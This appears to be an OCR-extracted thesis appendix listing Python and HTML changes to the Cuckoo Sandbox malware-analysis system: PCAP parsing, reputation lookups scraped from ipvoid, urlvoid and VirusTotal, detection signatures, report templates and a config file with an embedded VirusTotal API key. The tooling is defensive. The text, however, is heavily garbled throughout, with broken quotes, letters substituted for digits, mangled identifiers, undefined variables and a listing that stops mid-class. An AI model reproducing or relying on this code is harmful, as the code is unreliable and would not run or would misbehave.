if conn["src"] == Config().resultserver.ip:
return

entry = {}

entry["src"] = conn["src"]
entry["dst"] = conn["dst"]
entry["type"] = data.type

# Extract data from dpkg.icmp.ICMP.
try:
entry["data"] = convert_to_printable(data.data.data)
except:
entry["data"] =

self.icmp_requests.append(entry)

def _check_dns(self, udpdata):
"""Checks for DNS traffic.
@param udpdata: UDP data flow.

try:
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dpkt.dns.DNS(udpdata)
except:
return False

return True

def _add_dns(self, udpdata):
"""Adds a DNS data flow.
@param udpdata: UDP data flow.

dns = dpkt.dns.DNS(udpdata)

# DNS query parsing.
query = {}

if dns.rcode == dpkt.dns.DNS_RCODE_NOERR or \
dns.qgr == dpkt.dns.DNS_R or \
dns.opcode == dpkt.dns.DNS_QUERY or True:
# DNS question.
try:
g_name = dns.qd[0].name
g_type = dns.qd[0].type
except IndexError:
return False

query["request"] = g_name

if g_type == dpkt.dns.DNS_A:
query["type'] = "A"

if g_type == dpkt.dns.DNS_AAAA:
query["type"] = "AAAA"

elif g_type == dpkt.dns.DNS_CNAME:
query["type"] = "CNAME"

elif g_type == dpkt.dns.DNS_MX:
query["type’] = "MX"

elif g_type == dpkt.dns.DNS_PTR:
query["type"] = "PTR"

elif g_type == dpkt.dns.DNS_NS:
query["type"] = "NS"

elif g_type == dpkt.dns.DNS_SOA:
query["type"] = "SOA"

elif g_type == dpkt.dns.DNS_HINFO:
query["type"] = "HINFO"

elif g_type == dpkt.dns.DNS_TXT:
query["type"] = "TXT"

elif g_type == dpkt.dns.DNS_SRV:
query["type"] = "SRV"

# DNS answer.
query["answers"] =[]
for answer in dns.an:

ans = {}

if answer.type == dpkt.dns.DNS_A:
anS["type"] = IIAII
try:

ans["data"] = socket.inet_ntoa(answer.rdata)
except socket.error:
continue
elif answer.type == dpkt.dns.DNS_AAAA:
ans["type"] = "AAAA"

try:
ans["data"] = socket.inet_ntop(socket.AF_INET®6,
answer.rdata)
except (socket.error, ValueError):
continue

elif answer.type == dpkt.dns.DNS_CNAME:
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ans["type"] = "CNAME"
ans["data"] = answer.cname
elif answer.type == dpkt.dns.DNS_MX:
ans["type"] = "MX"
ans["data"] = answer.mxname
elif answer.type == dpkt.dns.DNS_PTR:
ans["type"] = "PTR"
ans["data"] = answer.ptrname
elif answer.type == dpkt.dns.DNS_NS:
ans["type"] = "NS"
ans["data"] = answer.nsname
elif answer.type == dpkt.dns.DNS_SOA:
ans["type"] = "SOA"
ans["data"] = ",".join([answer.mname,
answer.rname,
str(answer.serial),
str(answer.refresh),
str(answer.retry),
str(answer.expire),
str(@answer.minimum)))
elif answer.type == dpkt.dns.DNS_HINFO:
ans["type"] = "HINFO"
ans['data"] = " ".join(answer.text)
elif answer.type == dpkt.dns.DNS_TXT:
ans["type"] = "TXT"
ans["data"] = " ".join(answer.text)

# TODO: add srv handling
query["answers"].append(ans)

if dns.rcode == dpkt.dns.DNS_RCODE_NXDOMAIN:
ans ={}
ans["type"] = "NXDOMAIN"
ans['data"] = ""
query["answers"].append(ans)

self._add_domain(query["request"])

regtuple = query["type"], query["request"]

if reqtuple not in self.dns_requests:
self.dns_requests[reqgtuple] = query

else:
new_answers = set((i["type"], i["data"]) for i in query["answers"]) - self.dns_answers
self.dns_requests[reqtuple]["answers"] += [dict(type=i[0], data=i[1]) for i in new_answers]

return True

def _add_domain(self, domain):
"""Add a domain to unique list.
@param domain: domain name.
filters = [
" \\.windows\\.com$",
" A\.in\\-addr\.arpa$"
]

regexps = [re.compile(filter) for filter in filters]
for regexp in regexps:
if regexp.match(domain):
return

for entry in self.unique_domains:

if entry["domain"] == domain:
return
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self.unique_domains.append({"domain": domain,
"ip": self._dns_gethostbyname(domain),
"ipvoid":self.ipvoid(self._dns_gethostbyname(domain)),
"urlvoid": self.urlvoid(domain)})
def ipvoid(self, ip):

try:
I=lambda:defaultdict(l)
ipvoid = 1()
if ip:

proxy = urllib2.ProxyHandler()

opener = urllib2.build_opener(proxy)

opener.addheaders = [('User-agent', 'Mozilla/5.0")]

link = "http://ipvoid.com/scan/" + ip

response = opener.open(link)

content = response.read()

contentString = str(content)

if "Report not found" in contentString:
ipvoid["value"] = "Not Listed"
ipvoid["url"] = link
ipvoid["location"] = "Not Listed"

else:

info = re.compile('(?:<tr><td>Blacklist Status</td><td><span class="label label-
success">|<tr><td>Blacklist Status</td><td><span class="Ilabel label-warning">|<tr><td>Blacklist Status</
td><td><span class="label label-danger">)(POSSIBLY SAFE|BLACKLISTED)')

location = re.compile('(?:td>Country Code</td><td><img src="http://www.ipvoid.-
com/images/flags/.+"\s{0,5}/>\s{0,3})\([A-Z]+\)\sA-Za-z]+)')

infoParsed = re.findall(info,contentString)

locationParsed = re.findall(location,contentString)

if str(infoParsed)[2:-2] == "BLACKLISTED":
ipvoid["value"] = "Malicius"
ipvoid["url"] = link
ipvoid["location"] = str(locationParsed)[2:-2]

elif str(infoParsed)[2:-2] == "POSSIBLY SAFE":

ipvoid["value"] = "Clean"

ipvoid["url"] = link

ipvoid["location"] = str(locationParsed)[2:-2]
else:

ipvoid["value"] = ""

ipvoid["url"] = ""
ipvoid["location"] =

except Exception, e:
ipvoid["value"] = "Unable To Enstablish Connection"
ipvoid["url"] = "http://ipvoid.com/scan/" + ip
ipvoid["location"] = "Unable To Enstablish Connection

return ipvoid

def urlvoid(self, domain):

url = "http://urlvoid.com/scan/" + domain

I=lambda:defaultdict(l)

urlRet = ()

proxy = urllib2.ProxyHandler()

opener = urllib2.build_opener(proxy)

#iHt

opener.addheaders = [('User-agent', 'Mozilla/5.0")]

response = opener.open("http://urlvoid.com/scan/" + domain)
content = response.read()

contentString = str(content)
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rpderr = re.compile('<title>Report not found</title>', re.IGNORECASE)
rpdFinderr = re.findall(rpderr,contentString)

if not rpdFinderr:

regex2= re.compile("<td><span class=\"label label-warning\">([0-9]+/[0-9]+)</span></td>")

regex1= re.compile("<tr><td>Safety Reputation</td><td><span class=\"label label-danger\">([0-9]+/
[0-9]+)</span></td></tr>")

detectionRate = re.findall(regex1,str(content))

detectionRate2 = re.findall(regex2,str(content))

detectionRateStr = str(detectionRate).strip('[]').strip('\'\'")

detectionRateStr2 = str(detectionRate2).strip('[]').strip('\'\"")

if not detectionRateStr:
if detectionRateStr2:
urlRet["value"] = "Malicious"
urlRet["url"] = wurl
else:

urlRet["value"] = "Clean"
urlRet["url"] = wurl
else:
urlRet["value"] = "Malicious"
urlRet["url"] = wurl

else:

urlRet["value"] = "Domain not listed"
urlRet["url"] = wurl
return urlRet
def _check_http(self, tcpdata):
"""Checks for HTTP traffic.
@param tcpdata: TCP data flow.
try:
r = dpkt.http.Request()
r.method, r.version, r.uri = None, None, None
r.unpack(tcpdata)
except dpkt.dpkt.UnpackError:
if rmethod is not None or r.version is not None or \
r.uri is not None:
return True
return False

return True

def _add_http(self, conn, tcpdata):
"""Adds an HTTP flow.
@param conn: TCP connection info.
@param tcpdata: TCP data flow.
if tcpdata in self.http_requests:
self.http_requests[tcpdata]["count"] += 1
return True

try:

http = dpkt.http.Request()
http.unpack(tcpdata)

except dpkt.dpkt.UnpackError:
pass

try:
entry = {"count": 1}
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if "host" in http.headers and re.match(r'A([A-Z0-9]|[A-Z0-9][A-Z0-9\-]{0,61}[A-Z0-9])(\.(JA-Z0-9]|[A-Z0-9][A-Z0-9\-]
{0,61}[A-Z0-9]))+(:[0-9]{1,5})?$', http.headers["host"], re.IGNORECASE):
entry["host"] = convert_to_printable(http.headers["host"])
else:
entry["host"] = conn["dst"]

entry["port"] = conn["dport"]

# Manually deal with cases when destination port is not the default one,
# and itis not included in host header.
netloc = entry["host"]
if entry["port"] = 80 and ":" not in netloc:
netloc +=":" + str(entry["port"])

entry["data"] = convert_to_printable(tcpdata)
entry["uri"] = convert_to_printable(urlunparse(("http",

netloc,

http.uri, None,

None, None)))
entry["body"] = convert_to_printable(http.body)
entry["path"] = convert_to_printable(http.uri)

if "user-agent" in http.headers:
entry["user-agent"] =\
convert_to_printable(http.headers["user-agent"])
else:
entry["user-agent"] = ""
entry["version"] = convert_to_printable(http.version)
entry["method"] = convert_to_printable(http.method)

self.http_requests|tcpdata] = entry
except Exception:
return False

return True

def _reassemble_smtp(self, conn, data):
"""Reassemble a SMTP flow.
@param conn: connection dict.
@param data: raw data.
if conn["dst"] in self.smtp_flow:
self.smtp_flow[conn["dst"]] += data
else:
self.smtp_flow[conn["dst"]] = data

def _process_smtp(self):
"""Process SMTP flow."""
for conn, data in self.smtp_flow.iteritems|():
# Detect new SMTP flow.
if data.startswith(("EHLO", "HELQO")):
self.smtp_requests.append({"dst": conn, "raw": data})

def _check_irc(self, tcpdata):
Checks for IRC traffic.
@param tcpdata: tcp data flow
try:
req = ircMessage()
except Exception:
return False

return req.istherelRC(tcpdata)
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def _add_irc(self, conn, tcpdata):
Adds an IRC communication.
@param conn: TCP connection info.
@param tcpdata: TCP data in flow

try:
reqc = ircMessage()
regs = ircMessage()
filters_sc = ["266"]
client = reqc.getClientMessages(tcpdata)
for message in client:
message.update(conn)
server = regs.getServerMessagesFilter(tcpdata, filters_sc)
for message in server:
message.update(conn)
self.irc_requests = self.irc_requests + \
client +\
server
except Exception:
return False

return True

def run(self):
"""Process PCAP.
@return: dict with network analysis data.

log = logging.getLogger("Processing.Pcap")

if not IS_DPKT:
log.error("Python DPKT is not installed, aborting PCAP analysis.")
return self.results

if not os.path.exists(self.filepath):
log.warning("The PCAP file does not exist at path \"%s\".",
self.filepath)
return self.results

if os.path.getsize(self.filepath) == 0:
log.error("The PCAP file at path \"%s\" is empty." % self.filepath)
return self.results

try:
file = open(self.filepath, "rb")

except (IOError, OSError):
log.error("Unable to open %s" % self.filepath)
return self.results

try:
pcap = dpkt.pcap.Readerf(file)
except dpkt.dpkt.NeedData:
log.error("Unable to read PCAP file at path \"%s\".",
self.filepath)
return self.results
except ValueError:
log.error("Unable to read PCAP file at path \"%s\". File is "
"corrupted or wrong format." % self.filepath)
return self.results

offset = file.tell()

first_ts = None
for ts, buf in pcap:
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if not first_ts:
first_ts =ts

try:
ip = iplayer_from_raw(buf, pcap.datalink())

connection = {}

if isinstance(ip, dpkt.ip.IP):
connection["src"] = socket.inet_ntoa(ip.src)
connection["dst"] = socket.inet_ntoa(ip.dst)

elif isinstance(ip, dpkt.ip6.1P6):
connection["src"] = socket.inet_ntop(socket.AF_INET®S,

ip.src)
connection["dst"] = socket.inet_ntop(socket.AF_INETS,
ip.dst)
else:
offset = file.tell()
continue

self._add_hosts(connection)

if ip.p == dpkt.ip.IP_PROTO_TCP:
tcp = ip.data
if not isinstance(tcp, dpkt.tcp. TCP):
tcp = dpkt.tcp. TCP(tcp)

if len(tcp.data) > O:
connection["sport"] = tcp.sport
connection["dport"] = tcp.dport
self._tcp_dissect(connection, tcp.data)

src, sport, dst, dport = (connection["src"], connection["sport"], connection["dst"], connection["dport"])
if not ((dst, dport, src, sport) in self.tcp_connections_seen or (src, sport, dst, dport) in self.tcp_connec-
tions_seen):
self.tcp_connections.append((src, sport, dst, dport, offset, ts-first_ts))
self.tcp_connections_seen.add((src, sport, dst, dport))

elif ip.p == dpkt.ip.IP_PROTO_UDP:
udp = ip.data
if not isinstance(udp, dpkt.udp.UDP):
udp = dpkt.udp.UDP(udp)

if len(udp.data) > O:
connection["sport"] = udp.sport
connection["dport"] = udp.dport
self._udp_dissect(connection, udp.data)

src, sport, dst, dport = (connection["src"], connection["sport"], connection["dst"], connection["dport"])
if not ((dst, dport, src, sport) in self.udp_connections_seen or (src, sport, dst, dport) in self.udp_connec-
tions_seen):
self.udp_connections.append((src, sport, dst, dport, offset, ts-first_ts))
self.udp_connections_seen.add((src, sport, dst, dport))

elif ip.p == dpkt.ip.IP_PROTO_ICMP:
icmp = ip.data
if not isinstance(icmp, dpkt.icmp.ICMP):
icmp = dpkt.icmp.ICMP(icmp)

self._icmp_dissect(connection, icmp)

offset = file.tell()

except AttributeError:
continue

except dpkt.dpkt.NeedData:
continue
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except Exception as e:
log.exception("Failed to process packet: %s", e)

file.close()

# Post processors for reconstructed flows.
self._process_smtp()

# Build results dict.

self.results["hosts"] = self._enrich_hosts(self.unique_hosts)
self.results["domains"] = self.unique_domains

self.results["tcp"] = [conn_from_flowtuple(i) for i in self.tcp_connections]
self.results["udp"] = [conn_from_flowtuple(i) for i in self.udp_connections]
self.results["icmp"] = self.icmp_requests

self.results["http"] = self.http_requests.values()

self.results["dns"] = self.dns_requests.values()

self.results["smtp"] = self.smtp_requests

self.results["irc"] = self.irc_requests

return self.results

class NetworkAnalysis(Processing):
"""Network analysis."""

def run(self):
self.key = "network"

if not IS_DPKT:
log.error("Python DPKT is not installed, aborting PCAP analysis.")
return {}

if not os.path.exists(self.pcap_path):
log.warning("The PCAP file does not exist at path \"%s\".",
self.pcap_path)
return {}

if os.path.getsize(self.pcap_path) == 0:
log.error("The PCAP file at path \"%s\" is empty." % self.pcap_path)
return {}
sorted_path = self.pcap_path.replace("dump.", "dump_sorted.")
if Config().processing.sort_pcap:
sort_pcap(self.pcap_path, sorted_path)
results = Pcap(sorted_path).run()
else:
results = Pcap(self.pcap_path).run()

# Save PCAP file hash.
if os.path.exists(self.pcap_path):
results["pcap_sha256"] = File(self.pcap_path).get_sha256()
if os.path.exists(sorted_path):
results["sorted_pcap_sha256"] = File(sorted_path).get_sha256()

return results

def iplayer_from_raw(raw, linktype=1):
"""Converts a raw packet to a dpkt packet regarding of link type.
@param raw: raw packet
@param linktype: integer describing link type as expected by dpkt
if linktype == 1: # ethernet
pkt = dpkt.ethernet.Ethernet(raw)
ip = pkt.data
elif linktype == 101: # raw
ip = dpkt.ip.IP(raw)
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else:
raise CuckooProcessingError("unknown PCAP linktype")
return ip

def conn_from_flowtuple(ft):
"""Convert the flow tuple into a dictionary (suitable for JSON)
sip, sport, dip, dport, offset, relts = ft
return {"src": sip, "sport": sport,
"dst": dip, "dport": dport,
"offset": offset, "time": relts}

def batch_sort(input_iterator, output_path, buffer_size=32000, output_class=None):
"""batch sort helper with temporary files, supports sorting large stuff"""
if not output_class:
output_class = input_iterator.__class__

chunks =]
try:
while True:
current_chunk = list(islice(input_iterator, buffer_size))
if not current_chunk:
break
current_chunk.sort()
output_chunk = output_class(os.path.join(TMPD, "%06i" % len(chunks)))
chunks.append(output_chunk)

for elem in current_chunk:
output_chunk.write(elem.obj)
output_chunk.close()

output_file = output_class(output_path)
for elem in heapg.merge(*chunks):
output_file.write(elem.obj)
output_file.close()
finally:
for chunk in chunks:
try:
chunk.close()
os.remove(chunk.name)
except Exception:
pass

class SortCap(object):
"""SortCap is a wrapper around the packet lib (dpkt) that allows us to sort pcaps
together with the batch_sort function above."""

def __init__(self, path, linktype=1):
self.name = path
self.linktype = linktype
self.fd = None
self.ctr = 0 # counter to pass through packets without flow info (non-IP)
self.conns = set()

def write(self, p):
if not self.fd:
self.fd = dpkt.pcap.Writer(open(self.name, "wb"), linktype=self.linktype)
self.fd.writepkt(p.raw, p.ts)

def __iter__(self):
if not self.fd:
self.fd = dpkt.pcap.Reader(open(self.name, "rb"))
self.fditer = iter(self.fd)
self.linktype = self.fd.datalink()
return self
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def close(self):
if self.fd:
self.fd.close()
self.fd = None

def next(self):
rp = next(self.fditer)
if rp is None:
return None
self.ctr +=1

ts, raw = rp
rpkt = Packet(raw, ts)

sip, dip, sport, dport, proto = flowtuple_from_raw(raw, self.linktype)

# check other direction of same flow
if (dip, sip, dport, sport, proto) in self.conns:
flowtuple = (dip, sip, dport, sport, proto)
else:
flowtuple = (sip, dip, sport, dport, proto)

self.conns.add(flowtuple)
return Keyed((flowtuple, ts, self.ctr), rpkt)

def sort_pcap(inpath, outpath):
"""Use SortCap class together with batch_sort to sort a pcap
inc = SortCap(inpath)
batch_sort(inc, outpath, output_class=lambda path: SortCap(path, linktype=inc.linktype))
return O

def flowtuple_from_raw(raw, linktype=1):
"""Parse a packet from a pcap just enough to gain a flow description tuple
ip = iplayer_from_raw(raw, linktype)

if isinstance(ip, dpkt.ip.IP):
sip, dip = socket.inet_ntoa(ip.src), socket.inet_ntoa(ip.dst)

proto = ip.p

if proto == dpkt.ip.IP_PROTO_TCP or proto == dpkt.ip.IP_PROTO_UDP:
I3 = ip.data
sport, dport = I13.sport, 13.dport

else:

sport, dport =0, 0

else:
sip, dip, proto =0, 0, -1
sport, dport =0, 0

flowtuple = (sip, dip, sport, dport, proto)
return flowtuple

def payload_from_raw(raw, linktype=1):
"""Get the payload from a packet, the data below TCP/UDP basically
ip = iplayer_from_raw(raw, linktype)
try:
return ip.data.data
except:
return

def next_connection_packets(piter, linktype=1):
"""Extract all packets belonging to the same flow from a pcap packet iterator
first_ft = None

for ts, raw in piter:
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ft = flowtuple_from_raw(raw, linktype)
if not first_ft:
first_ft = ft

sip, dip, sport, dport, proto = ft
if not (first_ft == ft or first_ft == (dip, sip, dport, sport, proto)):
break

yield {
"src": sip, "dst": dip, "sport": sport, "dport": dport,
"raw": payload_from_raw(raw, linktype).encode("base64"),
"direction": first_ft == ft,

}

def packets_for_stream(fobj, offset):
"""Open a PCAP, seek to a packet offset, then get all packets belonging to the same connection
pcap = dpkt.pcap.Reader(fobj)
pcapiter = iter(pcap)
ts, raw = pcapiter.next()

fobj.seek(offset)
for p in next_connection_packets(pcapiter, linktype=pcap.datalink()):
yield p

Metatpomni apxeiov network.html oto pakelo cuckoo/data/html/sections/

<section id="network">
<div class="section-title">
<h4>Network Analysis</h4>
</div>
{% if results.network %}
{% if results.network.hosts %}
<div>
<h4><a href="javascript:showHide('hosts');">Hosts Involved</a></h4>
<div id="hosts" style="display: none;">
<table class="table table-striped table-bordered">
<tr>
<th>IP Address</th>
<th>Country Name</th>
</tr>
{% for host in results.network.hosts %}
<tr>
<td><span class="mono">{{host.ip}}</span></td>
<td><span class="mono">{{host.country_name}}</span></td>
</tr>
{% endfor %}
</table>
</div>
</div>
{% endif %}

{% if results.network.tcp %}
<div>
<h4><a href="javascript:showHide('tcp');">TCP Connections</a></h4>
<div id="tcp" style="display: none;">
<table class="table table-striped table-bordered">
<tr>

<th>IP Address</th>
<th>Port</th>
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</tr>
{% for conn in results.network.tcp %}
<tr>
<td><span class="mono">{{conn.dst}}</span></td>
<td><span class="mono">{{conn.dport}}</span></td>
</tr>
{% endfor %}
</table>
</div>
</div>
{% endif %}

{% if results.network.udp %}
<div>
<h4><a href="javascript:showHide('udp');">UDP Connections</a></h4>
<div id="udp" style="display: none;">
<table class="table table-striped table-bordered">
<tr>
<th>IP Address</th>
<th>Port</th>
</tr>
{% for conn in results.network.udp %}
<tr>
<td><span class="mono">{{conn.dst}}</span></td>
<td><span class="mono">{{conn.dport}}</span></td>
</tr>
{% endfor %}
</table>
</div>
</div>
{% endif %}

{% if results.network.domains %]}
<div>
<h4><a href="javascript:showHide('dns');">DNS Requests</a></h4>
<div id="dns" style="display: none;">
<table class="table table-striped table-bordered">
<tr>
<th>Domain</th>
<th>IP Address</th>
<!--<th>Alien Vault</th> -->
<th>IP Void</th>
<th>Location</th>
<th>URL Void</th>
<!--<th>Virus Total</th>-->
</tr>
{% for dns in results.network.domains %}
<tr>
<td><span class="mono">{{dns.domain}}</span></td>
<td><span class="mono">{{dns.ip}}</span></td>
<td><a href={{dns.ipvoid.url}}>{{dns.ipvoid.value}}</a></td>
<td><a href={{dns.ipvoid.url}}>{{dns.ipvoid.location}}</a></td>
<td><a href={{dns.urlvoid.url}}>{{dns.urlvoid.value}}</a></td>

</tr>
{% endfor %}
</table>
</div>
</div>
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{% endif %}

{% if results.network.http %}
<div>
<h4><a href="javascript:showHide('http');">HTTP Requests</a></h4>
<div id="http" style="display: none;">
<table class="table table-striped table-bordered">
<tr>
<th>URL</th>
<th>Data</th>
</tr>
{% for http in results.network.http %}
<tr>
<td><span class="mono">{{http.uri}}</span></td>
<td><span class="mono"><pre>{{http.data}}</pre></span></td>
</tr>
{% endfor %}
</table>
</div>
</div>
{% endif %}

{% if results.network.irc %}
<div>
<h4><a href="javascript:showHide('irc');">IRC Requests</a></h4>
<div id="irc" style="display: none;">
<table class="table table-striped table-bordered">
<tr>
<th>Command</th>
<th>Params</th>
<th>Type</th>
</tr>
{% for irc in results.network.irc %}
<tr>
<td><span class="mono">{{irc.command}}</span></td>
<td><span class="mono"><pre>{{irc.params}}</pre></span></td>
<td><span class="mono"><pre>{{irc.type}}</pre></span></td>
</tr>
{% endfor %}
</table>
</div>
</div>
{% endif %}

{% if results.network.icmp %]}
<div>
<h4><a href="javascript:showHide('icmp");">ICMP requests</a></h4>
<div id="icmp" style="display: none;">
<table class="table table-striped table-bordered">
<tr>
<th>Source</th>
<th>Destination</th>
<th>ICMP Type</th>
<th>Data</th>
</tr>
{% for icmp in results.network.icmp %}
<tr>
<td><span class="mono">{{icmp.src}}</span></td>
<td><span class="mono">{{icmp.dst}}</span></td>
<td><span class="mono">{{icmp.type}}</span></td>
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<td><span class="mono"><pre>{{icmp.data}}</pre></span></td>
</tr>
{% endfor %}
</table>
</div>
</div>
{% endif %}

{% if not results.network.hosts and not results.network.domains and not results.network.http and not
results.network.irc and not results.network.icmp %}
Nothing to display.
{% endif %}
{% else %}
Nothing to display.
{% endif %}
</section>

Anuouvpyia touv apxeiov malicious_connection.py (Cuckoo Signature malicious_-

connection) oto ¢pakelo cuckoo/modules/signatures/

from lib.cuckoo.common.abstracts import Signature

class malicious_connection(Signature):
name = "malicious_connection"
description = "Malicious Connection"
severity = 4
categories = ["online"]
authors = ["Christos Lyvas"]
minimum = "0.5"

def run(self):

if "network" in self.results:
ret = False
for interator in self.results["network"]["domains"]:
if str(interator["ipvoid"]["value")) is "Malicious":
return True
elif str(interator["urlvoid"]["value"]) is "Malicious":
return True

return False

Metatponn apxeiov processing.conf oto pakelo cuckoo/config

# Enable or disable the available processing modules [on/off].
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# If you add a custom processing module to your Cuckoo setup, you have to add
# a dedicated entry in this file, or it won't be executed.

# You can also add additional options under the section of your module and

# they will be available in your Python class.

[analysisinfo]
enabled = yes

[behavior]
enabled = yes

[debug]
enabled = yes

[dropped]
enabled = yes

[memory]
enabled = no

[network]
enabled = yes

[procmemory]
enabled = yes

[static]
enabled = yes

[strings]
enabled = yes

[metadata]
enabled = yes

[targetinfo]
enabled = yes

[virustotal]

enabled = yes

timeout = 60

# Add your VirusTotal API key here. The default API key, kindly provided

# by the VirusTotal team, should enable you with a sufficient throughput

# and while being shared with all our users, it shouldn't affect your use.

key = a0283a2c3d55728300d064874239b5346fH991317e8449fe43c902879d758088

Anuoupyia apxeiov metadata.py oto pakeAo cuckoo/modules/processing/

import os
import re
from lib.cuckoo.common.abstracts import Processing
from lib.cuckoo.common.exceptions import CuckooProcessingError
from lib.cuckoo.common.objects import File
import logging
try:
import exiftool
HAVE_EXIF = True
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except ImportError:
HAVE_EXIF = False

log = logging.getLogger(__name_ )
if not HAVE_EXIF:
log.exception("Missing dependency, install pyexiftool")

class metadata(Processing):
def run(self):

self.key = "metadata"
metadataDict = {}
if self.task["category"] == "file":
if not os.path.exists(self.file_path):
raise CuckooProcessingError("File {0} not found, skipping it".format(self.-
file_path))
try:
with exiftool.ExifTool() as et:
metadata = et.get_metadata(self.file_path)
except Exception:
log.exception("Generic error extracting metadata")
for key, value in metadata.itemsi():
regex = "(?:\:)([A-Za-z-])"
k = re.findall(regex, key)
pattern = r'([A-Z]{2,}(?=[A-Z]|$)|[A-Z][a-zZ]*)'
line ="' ".join(re.findall(pattern, str(k).strip("[]").strip("\'").strip("\'u")))
if line:
try:
metadataDict[line] = str(value)
except Exception, e:
metadataDict[line] = unicode(value)

return metadataDict

Anpovpyia apxeiov metadata.html oto pakeAo cuckoo/data/html/sections/

<section id="metadata">
<div class="section-title">
<h4>File Metadata</h4>
</div>
<table class="table table-striped table-bordered">
<colgroup>
<col width="150" />
<col width="*" />
</colgroup>
{% if results.metadata %}
{% for key in results.metadatalsort %}
<tr>
<th>{{key}}</th>
<td><span class="mono">{{results["metadata"][key]}}</span></td>
</tr>
{% endfor %}
{% endif %}
</table>
</section>
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MpooBnkn nediov metadata otn yevikn html avagopad tov Cuckoo Sandbox base-

report.html oto ¢pakelo cuckoo/data/html

<I--
Cuckoo Sandbox - Automated Malware Analysis
Copyright (C) 2010-2015 Cuckoo Foundation.
http://www.cuckoosandbox.org

This file is part of Cuckoo.

Cuckoo is free software: you can redistribute it and/or modify

it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or

(at your option) any later version.

Cuckoo is distributed in the hope that it will be useful,

but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/

-->

<!DOCTYPE html>

<html lang="en">

<head>

<meta charset="utf-8">

<title>Cuckoo Sandbox</title>

<meta name="viewport" content="width=device-width, initial-scale=1.0">

<meta name="description" content="">
<meta name="author" content="">
<style>
{% include "css/bootstrap.min.css" %}
{% include "css/bootstrap-responsive.min.css" %}
body {
margin-top: 20px;
}
footer {
margin-top: 45px;
padding: 35px 0 36px;
border-top: 1px solid #e5e5e5;
}
.footer p {
margin-bottom: 0;
color: #555;
}
.mono {
font-family: monospace;
}
.signature {
padding: 6px;
margin-bottom: 3px;
}
img.fade {
opacity:0.4;
filter:alpha(opacity=40);
}
img.fade:hover {
opacity:1.0;
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filter:alpha(opacity=100);
}
.section-title {
border-bottom: 1px solid #eee;
margin-bottom: 15px;
margin-top: 20pXx;
padding-bottom: 3px;
}
filesystem {
background-color: #ffe3c5; {# Light Orange #}
}
registry {
background-color: #ffc5c5; {# Light Red #}
}
.process {
background-color: #c5e0ff; {# Light Blue #}
}
.services {
background-color: #ccc5hff;
}
.device {
background-color: #ccc5hff;
}
.network {
background-color: #d3ffc5; {# Light Green #}
}
.socket {
background-color: #d3ffc5;
}
.synchronization {
background-color: #f9c5ff;
}
</style>
</head>
<body>
<div class="container-fluid">
{% include "graphic/logo.htmlI" %}
<div class="navbar navbar-inverse" style="margin-top: 10px;">
<div class="navbar-inner">
<div class="container-fluid">
<div class="nav-collapse">
<ul class="nav">
<li><a href="#info">Info</a></li>
{% if results.info.category == "file" %}
<li><a href="#file">File</a></li>
<li><a href="#metadata">Metadata</a></li>
{% elif results.info.category == "url" %}
<li><a href="#url">URL</a></li>
{% endif %}
<li><a href="#signatures">Signatures</a></li>
<li><a href="#screenshots">Screenshots</a></li>
{% if results.info.category == "file" %}
<li><a href="#static">Static</a></li>
{% endif %}
<li><a href="#dropped">Dropped</a></li>
<li><a href="#network">Network</a></li>
<li><a href="#behavior">Behavior</a></li>
<li><a href="#volatility">Volatility</a></li>
<!-- BOTTLEREMOVEME «<li><a href="/pcap/{{results.info.id}}">PCAP</a></li> BOT-
TLEREMOVEME --I>
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<!-- BOTTLEREMOVEME <li><a href="/view/{{results.info.id}}/download">Download Re-
port</a></li> BOTTLEREMOVEME --!>
<!-- BOTTLEREMOVEME <li><li><a href="/files/{{results.info.id}}">Download Files</a></li>
BOTTLEREMOVEME --!>
</ul>
</div>
</div>
</div>
</div>
{% block content %}{% endblock %}

<footer class="footer">
<p class="pull-right"><a href="#">Back to top</a></p>
<p>&copy;2010-2015 <a href="http://www.cuckoosandbox.org">Cuckoo Sandbox</a></p>
</footer>
</div>
<script>
{% include "js/bootstrap.min.js" %}
{% include "js/functions.js" %}
</script>
</body>
</html>

Metatponn apxeiov dropped.py oto ¢pakelo cuckoo/modules/processing/

# Copyright (C) 2010-2015 Cuckoo Foundation.
# This file is part of Cuckoo Sandbox - http://www.cuckoosandbox.org
# See the file 'docs/LICENSE' for copying permission.

import os
import re
import urllib2
from lib.cuckoo.common.abstracts import Processing
from lib.cuckoo.common.objects import File
from lib.cuckoo.common.utils import convert_to_printable
from collections import defaultdict
class Dropped(Processing):
"""Dropped files analysis."""
def run(self):
"""Run analysis.
@return: list of dropped files with related information.
self.key = "dropped"
dropped_files =[]

for dir_name, dir_names, file_names in os.walk(self.dropped_path):
for file_name in file_names:
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file_path = os.path.join(dir_name, file_name)

if file_name.endswith("_info.txt") and not os.path.exists(file_path +
continue

guest_paths = [line.strip() for line in open(file_path + "_info.txt")]

_info.txt"):

file_info = File(file_path=file_path,guest_paths=guest_paths).get_all()
if "ASCII" in file_info["type"]:
with open(file_info["path"], "r") as drop_open:
filedata = drop_open.read(2049)
if len(filedata) > 2048:
file_info["data"] = convert_to_printable(filedata[:2048] + " <truncated>")
else:
file_info["data"] = convert_to_printable(filedata)

url = "http://www.virustotal.com/en/file/" + file_info["sha256"] + '/analysis/'
I=lambda:defaultdict(l)
virustotal = I()
proxy = urllib2.ProxyHandler()
opener = urllib2.build_opener(proxy)
opener.addheaders= [('Referer', 'https://www.malwr.com/'),
('Accept’, 'text/html,application/xhtml+xml,application/xml;g=0.9,*/*;q=0.8"),
Host', 'www.virustotal.com'),
Accept-Language', 'el-GR,el;g=0.8,en-US;g=0.5,en;g=0.3"),
Accept-Encoding', 'gzip, deflate’),
Cookie', "),
('Connection', 'keep-alive')]
response = opener.open(url)
content = response.read()
contentString = str(content)
rpd = re.compile('([0-9]+\s{1,10}/As{1,10}[0-9]+)")
rpdFind = re.findall(rpd,contentString)
_str = str(rpdFind)[2:-2]
if _str:
if int(_str.split("/")[0]) > O:
virustotal["value"] = "Malicious"
virustotal["url"] = url
isMalware = True

(I
(I
(I
(I

else:
virustotal["value"] = "Benign"
virustotal["url"] = url
else:
virustotal["value"] = "File Not Found"
virustotal["url"] = url
file_info["virustotal"] = virustotal

dropped_files.append(file_info)

return dropped._files
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Anuoupyia Touv apxeiov malicious_drop.py (Cuckoo Signature malicious_drop) oto

¢dakelo cuckoo/modules/signatures/

from lib.cuckoo.common.abstracts import Signature

class malicious_connection(Signature):
